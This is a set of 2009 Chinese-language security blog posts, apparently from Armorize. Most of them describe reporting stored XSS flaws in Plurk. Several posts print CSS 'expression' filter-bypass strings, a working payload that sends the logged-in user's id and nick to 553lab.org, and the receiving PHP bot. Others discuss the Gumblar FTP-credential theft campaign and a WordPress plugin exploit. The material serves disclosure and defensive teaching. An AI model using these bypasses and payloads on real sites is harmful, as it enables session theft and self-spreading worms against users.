社交工程術的發展會將會更加極致,一旦詐騙電話更加了解你,不再是你熟悉的詐騙電話?一旦梁上君子熟知你的行蹤,不用在你的信箱、門牌做記號,上網就知道你在做啥?你該如何全身而退...網路真是讓人又愛又恨!!

作者 Crane 為阿碼科技一員
系列第一篇:誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)
系列第二篇:誰在看我的噗?第二回:IE執行模式 vs 跨網站腳本漏洞(XSS)
系列第三篇:誰在看我的噗?第三回:弔詭的過濾函式
系列第四篇:(本篇)誰在看我的噗?第四回:我噗誰在看!

繼續閱讀全文...

2009年7月17日

誰在看我的噗?第三回:弔詭的過濾函式


(本文感謝 armorize parser 團隊 Chris, Eric, Steven, Wing 與 ASF 團隊 Kuon 的意見)

泡咖啡或茶的藝術,我稍微接觸過一些,很有意思,每一個部分都很講究,從水、豆子或茶葉、到器具、時間等,每一個環節的掌握,決定了最後享受的品質。

有在品嚐的朋友都知道,其中常被忽略但是卻是關鍵者,就是過濾方式。以茶來說,不好的濾網可以直接喝到金屬的味道,所以有些人會把沖泡器的濾網拆除,寧可茶中有些茶葉。以咖啡來說,紙濾網會有味道,另外吸油能力太強,會讓咖啡少了原本的濃郁。很多人因此喜歡用金(或K金)濾網,雖然貴,但是金穩定,比較不會有異味,泡出來的咖啡跟紙濾網喝起來完全不一樣。可是金濾網除了價格高以外,很多廠商的技術不到位,濾得不乾淨,常讓咖啡渣漏到咖啡中,那就大大破壞興致了。就連自己做豆漿,最難的部分還是過濾機制的設計。要做一個好的過濾器,並不容易。

在Web資安中亦是如此。前面我分享了「誰在看我的噗?第一回」與「誰在看我的噗?第二回」兩篇,裡頭提用了噗浪的一些跨站腳本攻擊(XSS)漏洞來做範例。當初噗浪雖然有過濾CSS中的「expression」,但是改其中一個字的大小寫,例如「eXpression」,就繞過噗浪的過濾機制了。

回報給噗浪後,改好了,我這次,恩,的確改好了,現在不論是「Expression」、「eXpression」或「exPression」,都會被阻擋起來。於是我就試了下面這個字串:

「ex/**/pression」

IE的CSS parser,會將「/*」與「*/」當成是註解,將中間的字串都拿掉,於是「ex/**/pression」還是變成了「expression」,會執行javascript。測試發現噗浪並沒有偵測這種形式(pattern),於是又回報他們。以下是一些可能的變形:

「ex/**/pression」、「ex/**/p/**/ression」、「e/**/x/**/p/**/r/**/e/**/s/**/s/**/i/**/o/**/n/**/」

噗浪改好後,我測試,嗯,真的改好了,以上這些形式都會被阻擋起來,確定改好了。接下來我測試「ex/*armorize*/pression」,發現繞過了噗浪的檢查。原來噗浪沒有注意到,「/*」與「*/」中間可以加任何的字串,於是又回報他們。以下是一些可能的變形:

「ex/*armorize*/pression」、「e/*A*/x/*B*/p/*C*/r/*D*/e/*E*/s/*F*/s/*G*/i/*H*/o/*I*/n」、「e/*/*/*****///"hello"*/*/*/xpression」

噗浪改好後,我測試,嗯,真的改好了,以上這些形式都會被阻擋起來,確定改好了。接下來我想,該不會噗浪的過濾機制,是以「行」為單位的吧?於是我測試:


ex/*
*/pression

中間換行,發現又繞過去了。註解中間雖然有換行,IE還是會執行expression後面帶的javascript,可是噗浪是以「行」為單位進行過濾,所以又被我繞過去了。於是我又回報他們。以下是一些可能的變形:

ex/*
armorize
*/pression

ex/*
XSS**/**/*/pression

噗浪改好後,我測試,嗯,真的改好了,以上這些形式都會被阻擋起來,確定改好了。這是我仔細想,噗浪是如何做過濾機制的呢?最直覺的作法,應該是用正規表示法(regular expression)來過去,並採以下步驟:

1. 以整個CSS為單位,移出「/*」與「*/」以及中間的字串(因為是註解)
2. 偵測「expression」的各種大小寫形式

恩,那麼,如果我用以下的一段CSS呢?

X{"/*"} expression() X{"*/"}

上面這樣的CSS,對於IE來說,由於文法是可以接受的,另外「/*」與「*/」被包在雙引號內,所以IE不會視為是註解。可是對於此時噗浪的過濾機制來說,過濾機制的第一步會將「/*」與「*/」以及中間的字串移出,所以經過第一步後,噗浪看到的是:

X{""}

沒有「expression」的存在,故判定是合法沒有惡意的CSS而接受。實際上測試,正是如此,而我這個新的CSS攻擊,又繞過了噗浪此時的過濾機制。於是趕緊回報噗浪,噗浪改好後,我測試,嗯,真的改好了,這種形式都會被阻擋起來,確定改好了。可是我仔細一想,不對,目前最新的過濾機制應該是這樣,那麼如果我寫這樣,應該又可以繞過,結果果然。於是我回報,不過到這次,已經不是那麼容易可以改了,甚至要考慮一下以正規表示法(regular expression)為基礎的CSS過濾機制,到底有沒有辦法做到安全?過了兩星期問題還是沒修好,我這邊就不探討實際的字串了。

算一算到目前為止,攻擊已經變形了七代了。如同Twitter Mikeyy蠕蟲變形了多代一樣,如果今天同樣有駭客要攻擊噗浪,那麼已經變形七代了,可以做七波的攻擊,每一次攻擊都可以是蠕蟲或是偷受害者的cookie(然後以該身份登入噗浪)。另外很有趣的是,噗浪的第二代過濾機制,其實是可以阻擋第六與第七代的變形攻擊的,因為該機制只是單純地檢查有無「expression」的各種大小寫形式存在。可是之後,噗浪為了要應付第三代攻擊形式(「ex/**/pression」),而導致改進後的過濾機制反而會被第六與第七代攻擊形式繞過(X{"/*"} expression() X{"*/"})。

從噗浪的一系列攻守中我們可以獲得以下結論:

1. 設計一個正確的過濾機制是不容易的。找到漏洞不表示可以正確修補。
2. 修補的過程中,很有可能導致新的漏洞產生。


在這邊順便問一下,有沒有網友有興趣寫一個CSS的過濾函式?如果願意與我們一起研究,我們可以一起公開一套針對CSS的開放源碼過濾函式。

CSS的過濾函式,真的可以用單純的正規表示法(regular expression)之字串比對機制來完成嗎?

我們先來研究一下,到底IE是如何處理CSS的。第一,「ex/**/pression」==「expression」到底是否合於CSS2的文法(grammar)與語意(sematics)?我們看一下W3C對於CSS2.1的定義中,註解(comments)這段

Comments begin with the characters "/*" and end with the characters "*/". They may occur anywhere between tokens, and their contents have no influence on the rendering. Comments may not be nested.

「註解以 "/*" 開始,以 "*/" 結束,可以存在於任兩個 token 之間...」既然是任兩個token之間,那麼「ex/**/pression」根本不應該等於「expression」,而要被分成「ex」與「pression」兩個token。實際上W3C對於CSS2.1的文法定義也反映了這點。

如果是單純用標準的lexer與parser來處理CSS的話,ex/**/pression一般來說會被切成兩個token,而要認識「ex/**/pression」為「expression」的話,需要特別花功夫重組token。我認為IE不是這樣做的。我認為IE目前的CSS處理模組,包含了一個或多個的preprocessor,然後才餵給一組lexer與parser。前面的preprocessor可能也是用lexer與parser組成,但更可能只是用正規表示法(regular expression)之字串比對機制來完成。這樣的設計造就了在IE裡,「ex/**/pression」==「expression」的錯誤。

可是說IE錯了,沒有用,因為「ex/**/pression」在IE中就是會執行javascript,攻擊就是會成功。所以我們這篇探討的過濾機制,重點變成了,「如何了解各家瀏覽器對於CSS的處理機制,並實做一個模擬函式,來做資安過濾」。

這個就難了,因為各種歷史因素加上一開始CSS的定義並不明確,各家瀏覽器對於CSS的處理可說各顯神通,怪招一堆。舉個例子,雖然CSS中並無定義,但是以往非IE瀏覽器(FF、Safari、Chrome)對於「//」這個註解掉本行的語法,也是支援的;IE則不支援。可是到了IE8時,突然決定在「IE8標準模式」下時,跟其他非IE瀏覽器一樣,支援「//」。於是以下CSS,用非IE瀏覽器瀏覽,以及用IE8在「IE8標準模式」下瀏覽,背景會是紅色的(支援「//」),但是用IE<8或IE8在「IE7標準模式」瀏覽,背景會是藍色的(不支援「//」):

body {
background-color:red;
// background-color:blue;
}

那麼我們在寫過濾器時,到底要不要把「//」當成行註解呢?

又舉一個例子,以下這個CSS,在IE5/MAC,以及在IE8 beta 1上,中間的「@import」會被執行,但是在其他瀏覽器,包含IE8正式版中,則會被當成註解:

/*\*//*/
@import...
/**/

這主要跟lexer/parser或proprocessor在處理CSS時所採用的優先順序(operator precedence)有關。IE5/MAC與IE8 beta 1 是如此解讀的(資料來源:stopdesign.com

(1)的「/*」被視為是註解的開始,(2)的「\」將(3)的「*」給escape掉了,所以一直到(4)的「*/」才被視為是註解的結束。(5)的@import在註解外,而(6)的「/*」與「*/」被視為一對註解的開始與結束。

其他的瀏覽器則是如此解讀:

(1)的「/*」被視為是註解的開始,(2)的「\」被視為在註解中所以沒有作用,(3)的「*/」被視為註解的結束,(4)的「/*」被視為第二個註解的開始,(5)的「@import」被視為註解內,而最後(6)的「*/」為結束註解,於是「@import」不會被執行。

反過來看,我們的過濾器如果需要正確識別「ex/**/pression」以及類似變形,就必須正確判斷註解的開始與結束,可是各家瀏覽器在CSS處理機制實做上的不同,增加了我們過濾器的困難度。

事實上,這些各家瀏覽器在CSS實做上的不同,不但大家早就熟悉,還早就被當成「功能」來使用--利用這些不同來有效判斷不同的瀏覽器,讓不同瀏覽器讀取不同的CSS檔。這種技巧叫做「CSS Hack」或「CSS Filter」,大家可以參考 Wikipedia 中的定義,這邊就不多著墨。

但是由於這些差異被當成「功能」來使用,讓錯的一方也不能修正,因為如果修正了,反而很多網站的顯示就要變得不正確了。於是目前瀏覽器廠商只能推出新一代瀏覽器(IE5 -> IE6 -> IE7)時,才對這些bug進行修正。

為何瀏覽器的lexer/parser或preprocessor這麼糟糕?事實上,很久以前大家不就發現,資料庫的SQL處理器也是一樣糟嗎?「se/**/lect」這種SQL注入(SQL injection)手法大家應該都很常用。事實上,MS SQL伺服器的T-SQL處理器以及MySQL的SQL處理器,在這方面也都是有名的...說複雜好了。

雖然攻擊手法並不新,但是從噗浪的七代實驗可以知道,老人雖然很熟,新人還是會不斷地重複採地雷,正確地過濾惡意字串,並非易事。

瀏覽器/資料庫的lexer/parser/proprocessor處理器的複雜與不穩定,不但增加了資安的過濾函式的難度,也同時增加了WAF(Web應用程式防火牆、web application firewall)在實做與設定上的難度。

這些也就是為何,在情況允許之下,程式中應盡量避免過濾機制,而採用參數化機制。你的過濾機制,真的安全嗎?

作者Wayne為阿碼科技一員
系列第一篇:誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)
系列第二篇:誰在看我的噗?第二回:IE執行模式 vs 跨網站腳本漏洞(XSS)
系列第三篇:(本篇)誰在看我的噗?第三回:弔詭的過濾函式
系列第四篇:誰在看我的噗?第四回:我噗誰在看!

繼續閱讀全文...

2009年7月7日

談談 PHP, WordPress 與掛馬



惡意的PDF檔案一點都不是新聞,過去 doc、flash 以及圖片等都已經被大量利用在 PC 的感染中,但前一陣子在日本以及各地頻傳的事件 (1,2) 顯示,才發現一種綜合型的攻擊組合已經出現,也引起我對於了解後面原因的興趣。

我從 client, server 兩個方面來說明:

1. client

這次利用的攻擊瀏覽器方式稱為 JSRedir-R,它其實是一種攻擊方式的通稱,在友廠的分類說明中可以見到它是利用 PDF, Flash/SWF 的漏洞來讓瀏覽器, PDF reader 或 flash player 直接做為下載器 (downloader), 將後續的其他 binary 安裝到執行這個 JSRedir-R 的電腦上,隨後就開始進行自動側錄,這次側錄的通訊協定鎖定 Web hosting 使用者常用的 ftp,為何這麼做呢? 1. 明碼 2. 登入帳號密碼經常1~2個封包就可錄到。

網路上這篇討論描述了這個狀況,節錄如下:

"One of our clients computers was infected with the client-side portion of the virus. It’s a trojan that monitors all FTP traffic, sending the auth details back to the payload server (gumblar.cn).."

2. server: 這次駭客在想甚麼?



約3個月前,就開始有人在WordPress (咱們就簡稱為WP) 論壇上面歇斯底里的求救, "Seriously, I need your help! " ,很明顯的,他遇到了無論登入 wp-admin 後改密碼或是檔案移除,那一段攻擊程式碼都還是會再被自動加回去所有的 index-files,想必夜不成眠吧。

去年,我們監控到 Mass SQL Injection 的大範圍 SQL 注入,分析了原因是攻擊方利用 Google 的強大搜尋找攻擊對象,但這次不一樣,不需要這麼麻煩,這次駭客不辛苦的打 Mass SQL Injection 了,直接從 web 管理員的電腦直接掛馬側錄、傳回 Bot 監控主機、連到目標 ftp server, 接著自動竄改每一個 PHP 網頁,都可以自動化/半自動了, 然後去逛這些 WP, Drupal 網頁的人,都執行了 pdf 與 swf,若沒做自我保護,會繼續受到 JSRedir-R 的感染,然後被側錄,.. 就這樣一直循環下去, oh my goodness!!

慶幸的是,到目前為止,這並還未演變成 server 對 server 的病毒感染事件,否則可以想像機房內的網路、Web主機眾多的virtual host sites 會變成甚麼狀況,不過這跟 Web Hosting 的架構設計有關,這邊就有另外一種狀況。

既然被補上去 WP 與 Drupal 的源碼是 PHP,我開始將注意力轉向 WordPress 的源碼去,開放源碼的壞處就是容易成為下一個目標,事實上我的同事 Wisely 在兩年前就已經用我們內部的工具檢測過 WP 的兩個主要版本了,兩年多下來,我印象中看到針對 WP 本身新弱點的次數並不多,但 WP 畢竟做為全球著名的部落格發行軟體,為了服務廣大的使用者採用了開放式的架構,並有許多對應的外掛被開發出來,然而這些眾多的外掛卻成了另一大隱憂的來源,光在 milw0rm.com 上就至少有數十個 exploit 被公布,我從中取了一個做驗證,ID為 9048 的這個攻擊是利用 DM-albums 這個外掛:



這個弱點是 Remote File Dislosure Vulnerability,在 OWASP 的定義為 Resource Injection ,我們立即將 config.php 原始擋下載回來:



用 IDE 開來看,wow, 真的是 config.php,可以拿來分析設定與系統架構:



接著我用 CodeSecure 掃了兩次,分別是將 register_global 這個設定關閉:



以及開啟:



都找到跟 dm-albums.php 這個進入點有關的 Resource Injection,其中一條弱點問題追蹤列出如下,很明顯的,至少就有 currdir 這個變數沒有被處理好:



看到弱點這樣多,我真的開始覺得任意瀏覽網站的風險太高了。

以前打 client 端是拿個資、打 server 端是拿主機與 DB,做完就各自結束,但從 5月份的 Gumblar 開始,透過在 WP, Drupal 等 Blog 平台插入 PHP 程式碼的新掛馬手法讓感染來源成指數成長,如果你發現你的部落格的程式碼內出現奇怪的新程式碼,建議趕快用一台乾淨的機器上網改掉密碼並回復所有的 PHP 網頁,然後將受感染的電腦做進一步檢查,詳細做法可參考這篇,若剛好你的部落格也用了不少外掛,建議先搜尋一下有沒有已經被公布的弱點 (關鍵字: "exploit" "vulnerability),然後儘早因應,至少被公開的弱點一定得想辦法剔除。

作者: Walter Tsai 為阿碼科技CTO

繼續閱讀全文...

阿碼科技正名運動


昨天看到Yahoo!新聞對我們的報導,心裡高興,謝謝您!可是真的是報導我們嗎?大人啊,我們叫做阿「碼」,源碼檢測的「碼」,幫客戶檢查程式碼漏洞的公司,不是皇阿瑪的「瑪」。

阿碼成立初,差點被強迫改名,Google查「阿碼科技」會問你說你是不是要查「阿瑪科技」,這也就算了,連身邊的朋友都要我們改名。公司旁邊的鄰居,每天看到扛棒總不會錯吧?結果還是「阿瑪」...

我們的裝潢是matt高中同學孫兄開的八寬設計做的,結果得了獎,變成八寬得意作品。大家都這麼熟,扛棒也是你們幫忙做的,總不會錯吧?恩,還是「阿瑪」...

阿碼成立到現在快四年了,Google卻還是不放過強迫改名的意圖:

在這邊阿碼要推行正名運動!我們是源檢測公司,叫做阿,謝謝大家! :-)

作者Wayne為阿碼科技一員

繼續閱讀全文...

2009年7月6日

3b3.org 在 0 Day 的大復活日記

3b3.org 是啥!可以問問 google 大神,這是今年初惡意網頁掛碼所使用的惡意網域,最近復活了。透過 DirectShow MPEG2TuneRequest Stack Overflow 的 0 Day 大復活了...

一般惡意網域在惡意利用後,大多會丟棄不用,會再利用新的惡意網域,但 3b3.org 並沒有,在沉潛一段時日之後復活了。很重要的原因是:有太多網站被植入此惡意連結後,一直沒有移除。換句話說,很多網頁還留有舊的攻擊連結。

先前兩篇文章,你看了嗎?
網站多久沒健檢,是不是該關心一下了
深思網站淪陷背後的意義

先看看 3b3.org/c.js 在做啥...





再看看 HackAlert 發現的一個掛馬網址:


詳細追下去:




是不是發現都是一樣的攻擊碼了。這是 Microsoft DirectShow MPEG2TuneRequest Stack Overflow Exploit,這可是 0 day 的漏洞,可以參考鬼仔's Blog:
Microsoft DirectShow MPEG2TuneRequest Stack Overflow Exploit
DirectShow 0DAY第二波警告

繼續閱讀全文...

2009年6月29日

誰在看我的噗?第二回:IE執行模式 vs 跨網站腳本漏洞(XSS)


Web、HTML、CSS、各家瀏覽器,都在持續演進著,以資安的觀點來看,演進的過程中包含了許多為了修補當初不安全設計而做得努力。IE,現在已經到IE 8了。

本文續「誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)」。

許多朋友透過email/msn/plurk問我,這個攻擊為何說IE<=7才能觸發?其實這個問題不是三言兩語解釋得清楚,所以我只在文中寫IE<=7,不想讓已經很長的一篇變得更長,但沒想到大家都很厲害,這個問題大家都還是問了。那我們就來談談,為何此攻擊IE<=7才能work吧!

其實我只確定IE 7可以work,IE 8不行,IE 1-6,我沒裝,沒測過。可是為何我沒說IE 8可以,而又為何有朋友認為應該可以?認為可以的朋友們最大的「證據」之一,就是Plurk個人首頁的HTML中有一行:

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />

由於CSS、HTML的規格不斷演進,各家瀏覽器也一直在變,一個網頁如何被解譯,跟瀏覽器決定用何種模式來解譯有很大的關係。HTML 5規格中即定義了三個模式:no quirks mode(標準模式,standard mode)、quirks mode(相容模式)、以及limited quirks mode(限制相容模式 / 近標準模式,almost standards mode)。不同模式影響了瀏覽器如何解析(parse)以及展現一份HTML文件;就資安的角度而言,不同模式的影響甚大,例如文件中對於script的處理,就會因不同模式而有差異。

就瀏覽器來說,不同模式間行為差距最大的,應該算是IE,又以IE 7到IE 8為明顯。IE 8一共支援了四種模式:IE 8 standard(標準)模式、IE 8 almost standards(近標準)模式、IE 7 standard(標準)模式、IE 5.5 quirks(相容)模式。「誰在看我的噗?」中所用的攻擊點:

body {background-image: expression(alert("XSS"));}

即是自從IE 8 beta 2之後,已經自IE 8標準模式中移除了;意思就是,如果是在IE 8標準模式下,此攻擊點無效,expression並不會被執行。那麼IE 8如何決定何時用哪種模式來執行呢?答案是根據許多條件,其中包含了HTTP檔頭、doctype、meta X-UA-Compatible、微軟的網站黑名單、以即使用者的設定等。那滲透測試的過程中,如何得知IE選擇哪種模式來處理一個網頁呢?最簡單的方式,是安裝IE Developer Toolbar。這個跟firebug互別苗頭的工具,一直是滲透測試時的好幫手。IE Developer Toolbar可以顯示出IE使用哪種模式來解譯目前的網頁。以Plurk為例,我的Toolbar顯示如下:

為何Plurk是在IE 8標準模式執行呢?我們看一下程式碼:

Server: nginx/0.6.32
Date: Sun, 28 Jun 2009 18:49:38 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Expires: Sun, 28 Jun 2009 18:49:37 GMT
Cache-Control: no-cache
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 36704

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

<script type="text/javascript">
if(window != top && window.location.toString().indexOf("/_comet/") == -1) {
//Inside an iframe
top.location.href = location.href;
}
</script>

<title>
armorize_wayne
</title>
<meta http-equiv="Content-Type" content="application/xhtml+xml; charset=UTF-8" />
<meta name="verify-v1" content="iBRwaQ/3d4NoF1uaa2SAfCJ962ORry1TE8/4XxtIbHk=" />
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />

恩,既然有定義doctype,也有用meta定義了X-UA-Compatible為「IE=EmulateIE7」,那應該要迫使IE 8在「IE 7標準模式」下解譯Plurk,為何toolbar還是顯示「IE 8標準模式」,而且攻擊也確實無法執行?始作俑者就是meta前面的javascript。如果沒有這段javascript的話,那IE 8就會轉換至「IE 7標準模式」下執行,而上述攻擊就仍然有效。當場try看看好了。利用fiddler,然後用IE 8開plurk,用羔羊帳號(goat_victim)登入,然後瀏覽我的Plurk頁面,可以看出瀏覽器發出以下的http request,其中並沒有對553lab.org發出request,表示攻擊並未成功:

這時我們利用「bpu http://www.plurk.com/armorize_wayne」設好中斷點(breakpoint,見上圖底黑底緑字處),然後IE 8按F5重新載入,中斷點停下來後,選擇「Break on Response」,然後等到獲得plurk伺服器回應的http response時,中斷點又再度停下來,這時我們手動改此HTML,將javascript移到「X-UA-Compatible」這行之後,並選擇「Run to Completion」:

下圖為執行後的畫面,我們看到IE 8發了一個request給http://553lab.org,表示我們的XSS(跨網站腳本漏洞)成功了,javascript被執行了:

回到IE 8,可以看到我的Plurk頁面上,機器人已經自動對來訪者(goat_victim)打招呼了:

那麼IE 8決定解譯模式的流程為何?以下流程圖來自:http://hsivonen.iki.fi/doctype/ie8-mode.png

圖中紅色部分為這次我的IE 8決定採用「IE 8標準模式」的流程圖。IE 8的決定,除了噗浪網站的HTTP檔頭與HTML內容外,我本身的IE 8 相容性設定也有影響。我的相容性設定為預設值(Tools->Compatibility View Settings):

其中的決定包含:
1. 是否有X-UA-Compatible meta標籤:事實:有,但是前面已經先有javascript。
2. HTTP檔頭中是否有設X-UA-Compatible?事實:沒有
3. 我的IE 8相容性設定是否有勾選「display all websites」?事實:沒有
4. ...

有可能這是Plurk刻意的設計,讓IE 8在「IE 8標準模式」中執行,但也有可能是Plurk本意是要藉由設定X-UA-Compatible來讓IE 8切換至「IE 7標準模式」,可是後來在前面加了一段javascript,誤讓模式跳回了「IE 8標準模式」,也同時讓我們的攻擊失效了。

無論如何,Plurk讓IE 8在「IE 8標準模式」中執行,導致我們前一篇中所提之攻擊點失效,也是為何前一篇中,我沒有說攻擊能在IE 8上執行之原因。至於有朋友問,明明CSS中的expression,有用IE 8測過,確定可以work,為何說不行?答案是這要看你的頁面讓你的IE 8呈現何種模式?如果在HTML內或HTTP檔頭中都沒有設定X-UA-Compatible,也沒有特別設定doctype的話,那就很有可能跑到相容模式去,而導致CSS expression攻擊成功了。

瀏覽器的解譯模式會直接影響javascript執行方式,進而影響資安結構;不但doctype、meta tag以及HTTP檔頭,甚至連javascript擺的位子之些微差距,都有可能影響一個網頁之安全性。您清楚您網站於IE各版本上的解譯模式嗎?

作者Wayne為阿碼科技一員
p.s.順便簡短一併回一些問題:
Q:這個漏洞可以用來寫蠕蟲嗎?答:可以
Q:噗浪修補好了嗎?答:「這個漏洞」修補好了,但是即使同一個手法,也可以有很多種變形,是否都阻擋了?我沒測
Q:之前提的csrf蠕蟲能公開嗎?答:噗浪還沒修好,所以還不能公開

系列第一篇:誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)
系列第二篇:(本篇)誰在看我的噗?第二回:IE執行模式 vs 跨網站腳本漏洞(XSS)
系列第三篇:誰在看我的噗?第三回:弔詭的過濾函式
系列第四篇:誰在看我的噗?第四回:我噗誰在看!


繼續閱讀全文...

2009年6月27日

誰在看我的噗?第一回:DOM沙盒 vs 跨網站腳本漏洞(XSS)


上星期天下午,下大雨,沒法出去,隨手開了Plurk,想到了Plurk之前公開的「XSS挑戰」,只要找到漏洞,證明並回報的噗友,就有Plurk hacker勳章可以拿,之前我也很快地寫了一隻蠕蟲demo並回報。(不用懷疑,當然沒有真的拿來使用)

開了瀏覽器,沒有用什麼工具,就徒手在瀏覽器上玩來玩去,結果一下子,找到一個預存式XSS(stored cross-site scripting,因先儲存至預存式的資源譬如資料庫後再於取出時造成攻擊,又稱預存式XSS),寫了一小段poc程式,確定可以偷cookie,然後又寫了一個蠕蟲的 poc 程式。原本想立刻把poc程式寄給Plurk回報,但又覺得這些東西沒什麼新意,這樣回報很無聊。可是那寫什麼demo來回報呢?

這時突然想到以前的irc機器人,好吧,那就寫一個跟irc一樣的自動打招呼機器人好了,順便回味一下irc的年代。直接在瀏覽器上寫完,還真的可以用,只要在有登入噗浪的狀態下,用IE(<=7)來訪問我的Plurk頁面,機器人都會自動跟您打個招呼(不會偷cookie)。寫完把範例程式寄給Plurk,真快,不到一小時就收到回信,不到一天就改好了,這種速度比起其他網站,真是夠快了。問了他們可否寫篇blog,Plurk說沒問題,反正都修好了,嗯,謝謝,真是很nice!

整個測試的過程中,我一直想到「以 DOM 為基礎之沙盒(DOM-based sandboxing)」之概念。XSS(cross-site scripting,跨網站腳本漏洞)根本不應該這麼難預防的;問題主要出在當初W3C與瀏覽器團隊在定義各種規格時,真的太少考慮到資安的需求了。也或許是這樣,才造就了Web與Web 2.0這麼快速的成長吧(限制很少,很好學,很好寫)!以這次回報的XSS來說,DOM-based sandboxing(DBS)是最直覺的解決方式;我們先看看這個漏洞。

[XSS弱點範例]

噗浪很令人喜愛的功能之一,是可以自己寫(或上傳)CSS,讓每一個人可以有自己的噗浪頁面。在「Profile」旁邊有一個「edit」,按下去並選擇「Customize profile」,就可以自己填入CSS。上次我回報蠕蟲漏洞,主要是那時幫朋友改code,接觸到Plurk API,而注意到漏洞。當時並沒有仔細玩噗浪的介面。這時一玩,wow,可以自己寫CSS,那麼這個功能很有可能出現漏洞。CSS 裡頭的XSS攻擊點,可以參考RSnakeXSS Cheat Sheet;以IE(<=7)為例,主要可說有兩種:

1. CSS 內可造成 javascript 執行,範例如:

body {background-image: url("javascript:alert('XSS')");}

2. CSS 內利用expression 造成 javascript 執行,範例如

body {background-image: expression(alert("XSS"));}

(範例一)

我們來分析一下要如何做攻擊測試。Html中有很多方式可以設定 css;可以是後端程式產生,寫死在 HTML 裡,可以是前端 javascript 以document.write()方式動態產生,也可以是前端javascript以動態建構出新的 DOM 元素(element)來產生。看一下Plurk的源碼,可以發現產生方式如下:

B = document.createElement("link");
B.setAttribute("rel", "stylesheet");
B.setAttribute("type", "text/css");
document.getElementsByTagName("head")[0].appendChild(B);
(程式一)

根據RSnakeXSS Cheat Sheet,(範例一)中的攻擊點(1),只對IE6有效,那我們先選攻擊點(2)「expression」來試看看好了,在介面中填入:

body {background-image: expression(alert("XSS"));}
(程式二)

(暗:(1)真的只對IE6有效嗎? ;) )

按下「Save and update」,果然有過濾,CSS中不能有「expression」,也不能有「javascript」或「@import」等關鍵字。

嗯嗯,大概是用正規表示式過濾的吧!那把「expression」改成「Expression」呢?Umm...結果就通過了...原來過濾時沒有考慮到大小寫問題;這麼簡單一點小疏失,就會造成了一個預存式XSS,不但可以偷餅乾,更適合寫蠕蟲;事實上,三年前的MySpace(Samy)蠕蟲與不久前的Twitter(Mikeyy)蠕蟲(這裡這裡這裡),都是利用了使用者profile中的預存式XSS,只要訪問了受感染使用者的頁面,就會被感染。以MySpace為例,當時以上(1)與(2)兩個攻擊點都存在,而Samy蠕蟲也同時運用了這兩個攻擊點。

接下來就用css的Expression寫一下XSS的程式吧:

body {background-color: Expression( if ( (typeof doneonce == 'undefined') ) { void( doneonce = {testit: function () {dddd = new Image(16,16);dddd.src = "http://553lab.org/plurk/hello.php?x=[" + GLOBAL.session_user.uid + "][" + GLOBAL.session_user.nick_name+"]";}} ) + doneonce.testit() } );}
(程式三)

上面這個程式中,我們用夾帶在body中的Expression寫javascript,動態產生一個image,其url為:http://553lab.org/plurk/hello.php?x=[user_id][nick_name]。程式會使IE發一個GET到我們的hello bot(hello.php),並夾帶兩個參數,分別取自Plurk的javascript程式中的變數:GLOBAL.session_user.uid為目前使用者的id,而GLOBAL.session_user.nick_name為目前使用者的nick。為何不用hello.php?x=user_id&y=nick這樣的格式?因為Plurk會將「&」htmlencode成&amp;,所以乾脆改成只用一個參數「x」,資料則用[]來隔開。

後端hello.php程式如下:

<html><head><title>Plurk XSS demo by Armorize</title></head>
<body><b>XSS hello bot by wayne[_at_]armorize.com<br>Only works in IE<br></b>
<?
// Uses RLPlurkAPI by Ryan Lim <plurk-api@ryanlim.com>
require 'RLPlurkAPI.php';

//ini_set('display_errors','1');
//error_reporting (E_ALL);

$dovalidation_1 = true; $dovalidation_2 = true;
$publicplurk = true; // plurk disallows private plurks to none-friends

$cip = $_SERVER['REMOTE_ADDR'];

preg_match_all("/\\[([^\\]]*)\\]/", $_GET["x"], $results);

$g_id = $results[1][0]; $g_nick = $results[1][1];

$nick_name = $results[1][2];

if ($nick_name=="") $nick_name = "armorize_wayne";

$logf1 = "log/visited.txt"; $logf2 = "log2/visited.txt";

if ($dovalidation_1) if (!ereg("^[a-zA-Z0-9_]*$", $g_nick) || !is_numeric($g_id) || ((int)$g_id)<0 || !preg_match("/^http[s]*:\/\/www.plurk.com\//", $HTTP_REFERER)) $errorlog= "bad format or referer";

if (!$errorlog && $dovalidation_2) validate_user_then_log($g_id, $g_nick, $cip, $errorlog, $logf1, $logf2, $nick_name);

if (!$errorlog && get_my_password($nick_name, $password)) {
$plurk = new RLPlurkAPI();
$plurk->login($nick_name, $password);
$rand_msg = array("welcome, ", "greetings, ", "hello, ", "hi, ", "how's it going, ", "thanks for coming, ", "good day, ", "have fun, ", "enjoy, ", "have a nice day, ", "g'day, ", "thanks for stopping by, ", "have a good time, ");
$rand_num = rand(0, count($rand_msg)-1);

$msg = $rand_msg[$rand_num]."@".$g_nick."!";
if ($publicplurk)
$plurk->addPlurk('en', 'says', $msg);
else
$plurk->addPlurk('en', 'says', $msg, true, array($g_id));
echo "msg: ".$msg."<br>";
}

function validate_user_then_log($id, $nick, $ip, &$errorlog, $filename, $filename2, $visitedwho) {
$visitors = array();
$visitors = read_file($filename, 50000);
$visitors_set = array();
$ip_set = array();
foreach ($visitors as $value) {
preg_match_all("/\\[([^\\]]*)\\]/", $value, $results);
if (!array_key_exists($results[1][3], $visitors_set)) $visitors_set[$results[1][3]] = $results[1][4];
if (!array_key_exists($results[1][5], $ip_set)) $ip_set[$results[1][5]] = $results[1][4];
}

if (!$error_log) {
if (array_key_exists($id, $visitors_set)) {
$last_time = strtotime($visitors_set[$id]);
if ((time()-$last_time)<3600) {$errorlog="same id";}
}
if (array_key_exists($ip, $ip_set)) {
$last_time = strtotime($ip_set[$ip]);
if ((time()-$last_time)<3600) {$errorlog="same ip";}
}
}
// id to nick doesn't require loggin in, so I don't want to use RLPlurkAPI for this. Just make a quick call myself
$json = new Services_JSON();
$value = $json->decode(file_get_contents("http://www.plurk.com/Users/fetchUserInfo?user_id=".$id));

if ($value->nick_name!=$nick) $errorlog="id nick mismatch";

